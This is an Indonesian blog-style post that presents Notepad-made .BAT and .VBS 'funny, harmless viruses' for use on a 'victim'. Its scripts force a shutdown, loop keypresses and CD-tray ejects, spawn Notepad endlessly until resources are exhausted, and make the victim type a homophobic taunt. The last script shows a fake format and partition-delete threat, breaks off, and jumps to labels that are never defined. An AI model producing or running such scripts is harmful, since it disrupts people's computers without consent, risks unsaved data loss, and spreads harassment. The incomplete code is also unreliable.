hallo.. agan-agan.. semuanya :
hari ini saya akan membagikan
script virus-virus lucu + tidak berbahaya
pertama kita siapin dulu barang-barangnya :
barangnya hanya notepad.. :v

oke.. lanjut..
virus pertama :

1. Memberi Pesan dan Shutdown Komputer..
Buka Notepad ketik script di bawah ini dan save menggunakan Extension .BAT
@echo off

msg * Apakah Dona Ganteng
shutdown -c "Error! Dona Memang Ganteng" -s

yang bagian warna merah bisa di ganti sesuka anda..

2.Menyalakan Tombol Caps lock secara simultan
Buka Notepad ketik script yang bercetak tebal dibawah ini dan Save As menggunakan Extension .VBS


Set wshShell =wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "{CAPSLOCK}"
loop

3. Buka/tutup CD drive secara terus menerus.
Buka Notepad ketik script yang bercetak tebal dibawah ini dan Save As menggunakan Extension .VBS


Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000
loop

4.Tekan Enter secara simultan.
Buka Notepad ketik script yang bercetak tebal dibawah ini dan Save As menggunakan Extension .VBS


Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"
loop


5. Mengetik pesan kita secara otomatis di notepad.
Buka Notepad ketik script yang bercetak tebal dibawah ini dan Save As menggunakan Extension .VBS


WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "notepad"

WScript.Sleep 100

WshShell.AppActivate "Notepad"

WScript.Sleep 500

WshShell.SendKeys "eitss"

WScript.Sleep 500

WshShell.SendKeys "hatad "

WScript.Sleep 500

WshShell.SendKeys ", ho"

WScript.Sleep 500

WshShell.SendKeys "w a"

WScript.Sleep 500

WshShell.SendKeys "re "

WScript.Sleep 500

WshShell.SendKeys "we"

WScript.Sleep 500

WshShell.SendKeys "> "

WScript.Sleep 500

WshShell.SendKeys "o w"

WScript.Sleep 500

WshShell.SendKeys "k tr"

WScript.Sleep 500

WshShell.SendKeys "oon"

WScript.Sleep 500

WshShell.SendKeys " gak negrtoss"

WScript.Sleep 500

WshShell.SendKeys "kakak"

WScript.Sleep 500
WshShell.SendKeys "hihihi! "



7.7) Hack keyboard sehingga korban dipaksa mengetik "You are a gay" secara simultan.
Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .VBS


Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a gay"
loop
yang di tandain merah bisa di ganti dengan kata apa saja

8.Buka Notepad secara terus menerus.
Buka Notepad ketik script yang bercetak tebal dibawah ini dan Save As menggunakan Extension .BAT


@ECHO off

:top

START %SystemRoot%\system32\notepad.exe
GOTO top


9. Munculin 5 pilihan yang harus korban pilih.
Buka Notepad ketik script yang bercetak tebal dibawah ini dan Save As menggunakan Extension .BAT


@echo off

title The end of the world

cd C:\

:menu

cls

echo wew ngapain kamu??aku tidak tanggung jawab.....apa yg barusan kamu lakuin saungguh fatal

pause

echo masukkan permintaan terakhir kamu :

echo 1. Buang Komputer..??

echo 2. Format Komputer..??

echo 3. Hapus Partisi..??

echo 4. mau mati pake jalan ini?

echo 5. bye bye...

set input=nothing

set /p input=Choice:

if %input%==1 goto one
if %input%==2 goto two


sekian virus lucu + tak berbahaya dari saya..
kalo mau di buka klik 2 kali pada file tersebut

Segala kerusakan saya tidak bertanggung jawab

Wassallamu'alaikum Wr.Wb